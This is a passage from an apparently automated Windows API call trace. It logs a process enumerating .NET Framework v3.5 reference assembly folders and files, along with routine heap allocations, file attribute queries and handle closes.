ftLastAccessTime.dwLowDateTime=0xa96ee048, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa96ee048, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x78000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ServiceModel.Web.dll", cAlternateFileName="")) returned 1 [0080.133] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.133] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.133] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.133] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.133] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.134] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.134] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae496e97, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xae496e97, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xae496e97, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Abstractions.dll", cAlternateFileName="")) returned 1 [0080.134] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.134] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.134] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.134] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.134] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.134] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.134] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xabe34b90, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xabe34b90, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xabf193d2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.DynamicData.Design.dll", cAlternateFileName="")) returned 1 [0080.134] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.135] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.135] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.135] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.135] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.135] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.135] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac1ecdf7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xac1ecdf7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xac3b5e7a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.DynamicData.dll", cAlternateFileName="")) returned 1 [0080.135] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.135] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.135] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.136] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.136] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.136] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.136] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacc30cea, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xacc30cea, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xacd3b68c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Entity.Design.dll", cAlternateFileName="")) returned 1 [0080.136] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.136] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.136] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.137] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.137] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.137] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.137] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae5edaf9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xae5edaf9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xae71e5fc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Entity.dll", cAlternateFileName="")) returned 1 [0080.137] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.137] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.137] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.137] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.137] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.138] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.138] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadaeb525, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xadaeb525, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xadb11685, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x52000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Extensions.Design.dll", cAlternateFileName="")) returned 1 [0080.138] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.138] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.138] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.138] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.138] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.139] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.139] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab7cf064, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xab7cf064, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xabd0408e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x138000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Extensions.dll", cAlternateFileName="")) returned 1 [0080.139] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.139] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.139] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.139] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.139] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.139] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.139] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae97fc00, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xae97fc00, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xae97fc00, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Routing.dll", cAlternateFileName="")) returned 1 [0080.139] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.140] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.140] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.140] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.140] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.140] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.140] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a316a7b, ftCreationTime.dwHighDateTime=0x1c9ea0a, ftLastAccessTime.dwLowDateTime=0x6a316a7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0a, ftLastWriteTime.dwLowDateTime=0x6a33cbd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Windows.Presentation.dll", cAlternateFileName="")) returned 1 [0080.140] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.141] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.141] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.141] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.141] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.141] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.141] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa96ee048, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa96ee048, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa97141a8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x75000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.WorkflowServices.dll", cAlternateFileName="")) returned 1 [0080.141] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.141] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.141] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.142] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.142] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.142] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.142] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad0cd792, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xad0cd792, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xad2e2ad6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Xml.Linq.dll", cAlternateFileName="")) returned 1 [0080.142] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.142] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.142] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.143] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.143] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.143] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.143] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad0cd792, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xad0cd792, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xad2e2ad6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Xml.Linq.dll", cAlternateFileName="")) returned 0 [0080.143] GetLastError () returned 0x12 [0080.143] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9180 [0080.143] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0080.143] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e4e65d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x96e4e65d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.143] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1efbd239, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x1efbd239, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x5ce0c4ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Conversion.v3.5.dll", cAlternateFileName="")) returned 1 [0080.143] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xade574cb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xade574cb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xadfae12e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Engine.dll", cAlternateFileName="")) returned 1 [0080.144] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f2b6d7d, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x1f2b6d7d, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x5cf16e3d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Framework.dll", cAlternateFileName="")) returned 1 [0080.144] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad64ea7d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xad64ea7d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xad674bdd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Utilities.v3.5.dll", cAlternateFileName="")) returned 1 [0080.144] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f40d9c2, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x1f40d9c2, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x5cffb671, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualC.STLCLR.dll", cAlternateFileName="")) returned 1 [0080.144] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803d8e97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803d8e97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RedistList", cAlternateFileName="")) returned 1 [0080.144] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123b128 [0080.144] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcd80) returned 1 [0080.144] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123b968 [0080.144] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5\\redistlist"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803d8e97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803d8e97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.144] CreateFileW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5\\redistlist"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0080.145] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0080.145] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.145] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0080.145] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.145] NtClose (Handle=0x168) returned 0x0 [0080.145] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123b968) returned 1 [0080.145] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcd80 [0080.145] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.146] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123b968 [0080.146] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcd80) returned 1 [0080.146] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123c1a8 [0080.146] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0080.146] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803d8e97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803d8e97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.146] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2273aeba, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x2273aeba, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x5d093be9, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x5ec3, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="")) returned 1 [0080.146] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcd80 [0080.147] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcd80) returned 1 [0080.147] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcd80 [0080.147] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcd80) returned 1 [0080.147] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcd80 [0080.147] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123ba70 [0080.147] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.147] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f3fd0 [0080.148] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123c3b8 [0080.148] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcd80) returned 1 [0080.148] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2273aeba, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x2273aeba, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x5d093be9, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x5ec3, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="")) returned 0 [0080.148] GetLastError () returned 0x12 [0080.148] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f80 [0080.148] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0080.148] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803d8e97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803d8e97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.148] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2273aeba, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x2273aeba, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x5d093be9, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x5ec3, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="")) returned 1 [0080.148] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2273aeba, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x2273aeba, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x5d093be9, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x5ec3, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="")) returned 0 [0080.148] GetLastError () returned 0x12 [0080.148] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0080.148] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0080.149] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123ba70) returned 1 [0080.149] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, 